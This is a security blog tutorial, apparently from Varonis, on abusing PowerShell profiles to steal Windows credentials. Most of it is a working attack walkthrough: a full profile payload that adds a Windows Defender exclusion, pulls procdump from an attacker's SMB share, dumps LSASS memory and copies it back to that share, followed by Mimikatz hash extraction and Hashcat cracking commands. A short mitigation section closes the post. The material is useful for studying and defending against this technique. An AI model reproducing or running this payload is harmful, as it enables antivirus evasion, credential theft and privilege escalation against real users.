Inside Out Security Blog   /  

Exfiltrate NTLM Hashes with PowerShell Profiles

Exfiltrate NTLM Hashes with PowerShell Profiles

Contents

    The privilege escalation method shown in this article is a variant used by Russian-based espionage groups. It outlines an attacker’s ability to leverage built-in PowerShell features to execute arbitrary commands in an elevated (Administrator) context. Below is a demonstration on exfiltrating NTLM hashes.

    As defined by the MITRE ATT&CK Framework:

    Event-Triggered Execution: Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments… Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence.

    See the included topics below:

    Understanding the Attack

    In the below example, an unsuspecting user is starting PowerShell with Local Administrator privileges.

    windows powershell admin screen capture

    The session doesn’t appear unusual to the user. But after examining the PowerShell profile, we see hashed passwords sent to an attacker-controlled server. The attack is entirely transparent to the target user.

    The ideal conditions for this attack are:

    • Local Administrator Capabilities: With Local Administrator accounts, PowerShell sessions started with low privileges and administrator privileges share a profile.ps1. An attacker with remote access can manipulate the profile.ps1 executed by Administrator PowerShell sessions.
    • Permissive PowerShell Execution Policies: The Execution Policy will ultimately determine if the attack is possible. The profile.ps1 will only execute in Administrator PowerShell sessions if script execution is allowed.

    Get the Free Pentesting Active
    Directory Environments E-Book

    The network topology contains a Windows 10 and Kali Linux machine connected by a single router (shown below).

    Illustration of Kali Linux and Windows PowerShell

    What are PowerShell Execution Policies?

    As defined by the Microsoft documentation:

    PowerShell’s execution policy is a safety feature that controls the conditions under which PowerShell loads configuration files and runs scripts… The execution policy isn’t a security system that restricts user actions… Instead, the execution policy helps users to set basic rules and prevents them from violating them unintentionally.

    In Windows 10, “Undefined” is the default policy in every Scope. However, it’s common for users to change the CurrentUser and LocalMachine policies to allow script executions. Permissive Policies such as RemoteSigned, Unrestricted, or Bypass make privilege escalation possible.

    Use the Get-ExecutionPolicy -List command to view the current policies.

    1. PS C:\Users\varonis> Get-ExecutionPolicy -List
    2.  
    3. Scope ExecutionPolicy
    4. ----- ---------------
    5. MachinePolicy Undefined
    6. UserPolicy Undefined
    7. Process Undefined
    8. CurrentUser Undefined
    9. LocalMachine RemoteSigned
    PS C:\Users\varonis> Get-ExecutionPolicy -List
    
            Scope ExecutionPolicy
            ----- ---------------
    MachinePolicy       Undefined
       UserPolicy       Undefined
          Process       Undefined
      CurrentUser       Undefined
     LocalMachine       RemoteSigned

    What are PowerShell Profiles?

    PowerShell profiles are scripts that execute with every new PowerShell session. That includes PowerShell ISE and Visual Studio sessions. They’re a convenient way for users and developers to load custom functions and modules with every new PS terminal.

    Use the $PROFILE variable to view the session’s profile path.

    screen capture of a PowerShell profile

    View the contents of the file with the Get-Content command.

    1. PS C:\Users\varonis> Get-Content $PROFILE
    PS C:\Users\varonis> Get-Content $PROFILE

    If the directory doesn’t exist, an attacker can create it as a hidden folder to prevent detection.

    1. PS C:\Users\varonis> cd $env:USERPROFILE;$d="Documents\WindowsPowerShell\";New-Item -ItemType Directory -Name "$d";$h=Get-Item "$d";$h.Attributes="Hidden"
    PS C:\Users\varonis> cd $env:USERPROFILE;$d="Documents\WindowsPowerShell\";New-Item -ItemType Directory -Name "$d";$h=Get-Item "$d";$h.Attributes="Hidden"

    If the PS1 file doesn’t exist, create it. As dumping passwords requires elevated privileges, this is an effective way to prevent the payload from executing in low privileged contexts.

    1. PS C:\Users\varonis> echo 'if (whoami /groups | findstr /i "S-1-16-12288"){ echo "I AM ADMIN!" }' > $PROFILE
    PS C:\Users\varonis> echo 'if (whoami /groups | findstr /i "S-1-16-12288"){ echo "I AM ADMIN!" }' > $PROFILE

    screen capture of a PowerShell payload

    At a glance, this doesn’t appear like a huge issue. It’s important to understand that an attacker can change a file executed automatically by Administrator PowerShell sessions. Consider replacing echo with a command to disable Windows Defender or reset passwords.

    Setup the Attack

    Let’s weaponize what we know about PowerShell profiles to show how an attacker can extract hashed passwords. In Kali, start by creating the working directory to store several files.

    1. tokyoneon@varonis:~$ mkdir /tmp/evilshare; cd /tmp/evilshare
    tokyoneon@varonis:~$ mkdir /tmp/evilshare; cd /tmp/evilshare

    Download the latest version of Procdump.

    1. tokyoneon@varonis:/tmp/evilshare$ wget 'https://download.sysinternals.com/files/Procdump.zip'
    tokyoneon@varonis:/tmp/evilshare$ wget 'https://download.sysinternals.com/files/Procdump.zip'

    Unzip the compressed file to find different versions of Procdump. The attack described in this article will use procdump.exe.

    1. tokyoneon@varonis:/tmp/evilshare$ unzip Procdump.zip
    tokyoneon@varonis:/tmp/evilshare$ unzip Procdump.zip

    Download the script I created for this article and save it with the “payload” filename. Use the below command or find it on my GitHub. Change the $server IP in the payload to your Kali address.

    1. tokyoneon@varonis:/tmp/evilshare$ wget 'https://git.io/Jkc9d' -O payload
    tokyoneon@varonis:/tmp/evilshare$ wget 'https://git.io/Jkc9d' -O payload

    The payload contains several simple commands. The Add-MpPreference cmdlet adds $env:TEMP to the Windows Defender exclusion list. It will prevent Windows Defender from detecting the procdump.exe or the LSASS memory dump. Acting as an alternative to Invoke-WebRequest, esentutl.exe will download procdump.exe from the attacker’s SMB share. Procdump executes and saves the LSASS dump to $env:TEMP. It’s zipped with Compress-Archive and exfiltrated to the SMB share via the cp command.

    For clarity, I added comments to the payload.

    1. # an if statement to prevent the attack from executing without administrator privileges
    2. if (whoami /groups | findstr /i "S-1-16-12288")
    3. {
    4. # start the attack as a background processs to prevent the PS terminal from stalling when opened
    5. Start-Job {
    6. # where to write data during the attack?
    7. $temp = "$env:TEMP"
    8.  
    9. # create path exclusion in Windows Defender to prevent procdump detection
    10. Add-MpPreference -ExclusionPath $temp
    11.  
    12. # sleep several seconds to allow the path exclusion to take effect
    13. Start-Sleep -s 4
    14.  
    15. # the attacker's IP address
    16. $server = "192.168.56.101"
    17.  
    18. # the attacker's SMB share name, must match impacket-smbserver share name
    19. $share = "evilshare"
    20.  
    21. # procdump filename as it appears on the attacker's SMB share
    22. $procdump = "procdump.exe"
    23.  
    24. # procdump.exe is saved locally with a random string as the filename
    25. $filename = (-join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object { [char]$_ })) + '.exe'
    26.  
    27. # the procdump output path when saved locally; shameless username plug
    28. $dump = "tokyoneon.dmp"
    29.  
    30. # as the procdump output contains non-ascii characters, it must be compressed before exfiltrating
    31. $exfil = "$env:COMPUTERNAME-$env:USERNAME-lsass.zip"
    32.  
    33. # rather than use invoke-webrequest, use an alternate LOLBAS for file retrieval
    34. esentutl.exe /y \\$server\$share\$procdump /d $temp\$filename /o
    35.  
    36. # execute procdump and dump LSASS memory
    37. & $temp\$filename -accepteula -ma lsass.exe $temp\$dump
    38.  
    39. # suppress progress bar that appears in the terminal when compressing the dump
    40. $ProgressPreference = "SilentlyContinue"
    41.  
    42. # compress the dump
    43. Compress-Archive -Path $temp\$dump -DestinationPath $temp\$exfil -Force
    44.  
    45. # exfiltrate the compressed dump to the attacker's SMB share via cp
    46. cp $temp\$exfil \\$server\$share\$exfil } | Out-Null
    47. }
    # an if statement to prevent the attack from executing without administrator privileges
    if (whoami /groups | findstr /i "S-1-16-12288")
    {
      # start the attack as a background processs to prevent the PS terminal from stalling when opened
      Start-Job {
        # where to write data during the attack?
        $temp = "$env:TEMP"
    
        # create path exclusion in Windows Defender to prevent procdump detection
        Add-MpPreference -ExclusionPath $temp
        
        # sleep several seconds to allow the path exclusion to take effect
        Start-Sleep -s 4
    
        # the attacker's IP address
        $server = "192.168.56.101"
    
        # the attacker's SMB share name, must match impacket-smbserver share name
        $share = "evilshare"
    
        # procdump filename as it appears on the attacker's SMB share
        $procdump = "procdump.exe"
    
        # procdump.exe is saved locally with a random string as the filename
        $filename = (-join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object { [char]$_ })) + '.exe'
    
        # the procdump output path when saved locally; shameless username plug
        $dump = "tokyoneon.dmp"
    
        # as the procdump output contains non-ascii characters, it must be compressed before exfiltrating
        $exfil = "$env:COMPUTERNAME-$env:USERNAME-lsass.zip"
    
        # rather than use invoke-webrequest, use an alternate LOLBAS for file retrieval
        esentutl.exe /y \\$server\$share\$procdump /d $temp\$filename /o
    
        # execute procdump and dump LSASS memory
        & $temp\$filename -accepteula -ma lsass.exe $temp\$dump
    
        # suppress progress bar that appears in the terminal when compressing the dump
        $ProgressPreference = "SilentlyContinue"
    
        # compress the dump
        Compress-Archive -Path $temp\$dump -DestinationPath $temp\$exfil -Force
    
        # exfiltrate the compressed dump to the attacker's SMB share via cp
        cp $temp\$exfil \\$server\$share\$exfil } | Out-Null
    }

    Start impacket-smbserver to serve the payload and wait for incoming LSASS dumps. The terminal must remain open for the duration of the attack.

    1. tokyoneon@varonis:/tmp/evilshare$ sudo impacket-smbserver -smb2support evilshare "$PWD"
    tokyoneon@varonis:/tmp/evilshare$ sudo impacket-smbserver -smb2support evilshare "$PWD"

    screen capture of a PowerShell payload waiting for incoming LSASS dumps

    In Windows, add the payload to the target $PROFILE. It’s possible to do this via reverse shell or backdoor, but for simplicity, use a PS terminal. Change the $attacker variable in the following command to your Kali IP address.

    1. PS C:\Users\varonis> cp \\$attacker\evilshare\payload $PROFILE
    PS C:\Users\varonis> cp \\$attacker\evilshare\payload $PROFILE

    screen capture of a PowerShell evilshare profile

    When the target starts a new Administrator PowerShell session, the impacket-smbserver will appear as shown below.

    screen capture of a PowerShell impacket-smbserver

    Two separate “AUTHENTICATE_MESSAGE” prompts appear in the impacket-smbserver output: The target OS fetching the procdump.exe and the compressed LSASS dump delivered to the server. After the second message, wait a few moments and press Ctrl + c twice to kill the Impacket server. There will be a new ZIP file in the current directory. Unzip it to find the DMP file.

    Extract Password Hashes with Mimikatz

    The hashed passwords in the DMP file are not readable in plaintext. Move the DMP file to a Windows 10 VM with Windows Defender disabled. Download the latest version of Mimikatz (mimikatz_trunk.zip) and save it to the Downloads folder in Windows.

    Open a PowerShell terminal and decompress the ZIP with the following command.

    1. PS > Expand-Archive -Path $env:USERPROFILE\Downloads\mimikatz_trunk.zip -DestinationPath $env:USERPROFILE\mimikatz
    PS > Expand-Archive -Path $env:USERPROFILE\Downloads\mimikatz_trunk.zip -DestinationPath $env:USERPROFILE\mimikatz

    Change into the x64 directory and execute the mimikatz.exe binary.

    1. PS C:\Users\tokyoneon> cd $env:USERPROFILE\mimikatz\x64\; .\mimikatz.exe
    PS C:\Users\tokyoneon> cd $env:USERPROFILE\mimikatz\x64\; .\mimikatz.exe

    screen capture of mimikatz.exe

    Load the DMP info Mimikatz with the sekurlsa::minidump command.

    1. mimikatz # sekurlsa::minidump C:\PATH\TO\YOUR\DUMP\tokyoneon.dmp
    mimikatz # sekurlsa::minidump C:\PATH\TO\YOUR\DUMP\tokyoneon.dmp

    Use the sekurlsa::logonPasswords command to extract hashed credentials. Notice the NTLM hash on line 12.

    1. mimikatz # sekurlsa::logonPasswords
    2.  
    3. Opening : 'Z:\lsass_dumps\tokyoneon.dmp' file for minidump...
    4.  
    5. 1 Authentication Id : 0 ; 188563 (00000000:0002e093)
    6. 2 Session : Interactive from 1
    7. 3 User Name : varonis
    8. 4 Domain : DESKTOP-JI80T34
    9. 5 Logon Server : DESKTOP-JI80T34
    10. 6 Logon Time : 11/15/2020 9:56:57 PM
    11. 7 SID : S-1-5-21-3489785614-2607058550-4100802712-1001
    12. 8 msv :
    13. 9 [00000003] Primary
    14. 10 * Username : varonis
    15. 11 * Domain : DESKTOP-JI80T34
    16. 12 * NTLM : 2ba9afd0306922f6aed8c6a2406ddab5
    17. 13 * SHA1 : 33b282eb0ba4e815a93f95d0c5321c5e8d76997f
    18. 14 tspkg :
    19. 15 wdigest :
    20. 16 * Username : varonis
    21. 17 * Domain : DESKTOP-JI80T34
    22. 18 * Password : (null)
    23. 19 kerberos :
    24. 20 * Username : varonis
    25. 21 * Domain : DESKTOP-JI80T34
    26. 22 * Password : (null)
    27. 23 ssp :
    28. 24 credman :
    29. 25 cloudap :
    30.  
    31. ----- [truncated] -----
    32.  
    33. 59 Authentication Id : 0 ; 999 (00000000:000003e7)
    34. 60 Session : UndefinedLogonType from 0
    35. 61 User Name : DESKTOP-JI80T34$
    36. 62 Domain : WORKGROUP
    37. 63 Logon Server : (null)
    38. 64 Logon Time : 11/15/2020 9:56:50 PM
    39. 65 SID : S-1-5-18
    40. 66 msv :
    41. 67 tspkg :
    42. 68 wdigest :
    43. 69 * Username : DESKTOP-JI80T34$
    44. 70 * Domain : WORKGROUP
    45. 71 * Password : (null)
    46. 72 kerberos :
    47. 73 * Username : desktop-ji80t34$
    48. 74 * Domain : WORKGROUP
    49. 75 * Password : (null)
    50. 76 ssp :
    51. 77 credman :
    52. 78 cloudap :
    53.  
    54. mimikatz #
    mimikatz # sekurlsa::logonPasswords
    
    Opening : 'Z:\lsass_dumps\tokyoneon.dmp' file for minidump...
    
      1	Authentication Id : 0 ; 188563 (00000000:0002e093)
      2	Session           : Interactive from 1
      3	User Name         : varonis
      4	Domain            : DESKTOP-JI80T34
      5	Logon Server      : DESKTOP-JI80T34
      6	Logon Time        : 11/15/2020 9:56:57 PM
      7	SID               : S-1-5-21-3489785614-2607058550-4100802712-1001
      8	        msv :
      9	         [00000003] Primary
     10	         * Username : varonis
     11	         * Domain   : DESKTOP-JI80T34
     12	         * NTLM     : 2ba9afd0306922f6aed8c6a2406ddab5
     13	         * SHA1     : 33b282eb0ba4e815a93f95d0c5321c5e8d76997f
     14	        tspkg :
     15	        wdigest :
     16	         * Username : varonis
     17	         * Domain   : DESKTOP-JI80T34
     18	         * Password : (null)
     19	        kerberos :
     20	         * Username : varonis
     21	         * Domain   : DESKTOP-JI80T34
     22	         * Password : (null)
     23	        ssp :
     24	        credman :
     25	        cloudap :
        
     			----- [truncated] -----
        
     59	Authentication Id : 0 ; 999 (00000000:000003e7)
     60	Session           : UndefinedLogonType from 0
     61	User Name         : DESKTOP-JI80T34$
     62	Domain            : WORKGROUP
     63	Logon Server      : (null)
     64	Logon Time        : 11/15/2020 9:56:50 PM
     65	SID               : S-1-5-18
     66	        msv :
     67	        tspkg :
     68	        wdigest :
     69	         * Username : DESKTOP-JI80T34$
     70	         * Domain   : WORKGROUP
     71	         * Password : (null)
     72	        kerberos :
     73	         * Username : desktop-ji80t34$
     74	         * Domain   : WORKGROUP
     75	         * Password : (null)
     76	        ssp :
     77	        credman :
     78	        cloudap :
    
    mimikatz #

    Crack NTLM Hashes with Hashcat

    Now onto another pentesting tool, Hashcat. Even in 2020, people use weak passwords to secure their data and accounts. With the latest version of Hashcat and a generic GTX 1060 GPU, it took one-second to crack a hash containing seven characters.

    1. tokyoneon@hades:~$ hashcat /tmp/hash.txt -w 4 -O -m 1000 -a 3 ?l?l?l?l?l?l?l
    tokyoneon@hades:~$ hashcat /tmp/hash.txt -w 4 -O -m 1000 -a 3 ?l?l?l?l?l?l?l

    screen capture of a Hashcat in action

    Mitigation & Detection

    As recommended by the MITRE ATT&CK Framework:

    Monitor the profile locations for modifications. Additional mitigations include:

    • Code Signing: Enforce execution of only signed PowerShell scripts. Sign profiles to avoid them from being modified.
    • Restrict File and Directory Permissions: Making PowerShell profiles immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user-level persistence.
    • Software Configuration: Avoid PowerShell profiles if not needed. Use the -NoProfile flag when executing PowerShell scripts remotely to prevent local profiles from being executed.

    Conclusion

    This attack on NTLM hashes illustrates the dangers of an overly permissive policy coupled with local administrator accounts. While this detailed how an attacker can force the administrator to exfiltrate NTLM hashes, it’s trivial to modify the featured payload and elevate to NT AUTHORITY\SYSTEM with PsExec. See additional tips for pentesters using PowerShell.

    Follow me on Twitter @tokyoneon_ and GitHub to keep up with my current projects. For questions and concerns, leave a comment or message me on Twitter.

    What you should do now

    Below are three ways we can help you begin your journey to reducing data risk at your company:

    1. Schedule a demo session with us, where we can show you around, answer your questions, and help you see if Varonis is right for you.
    2. Download our free report and learn the risks associated with SaaS data exposure.
    3. Share this blog post with someone you know who'd enjoy reading it. Share it with them via email, LinkedIn, Twitter, Reddit, or Facebook.

    We're Varonis.

    We've been keeping the world's most valuable data out of enemy hands since 2005 with our market-leading data security platform.

    How it works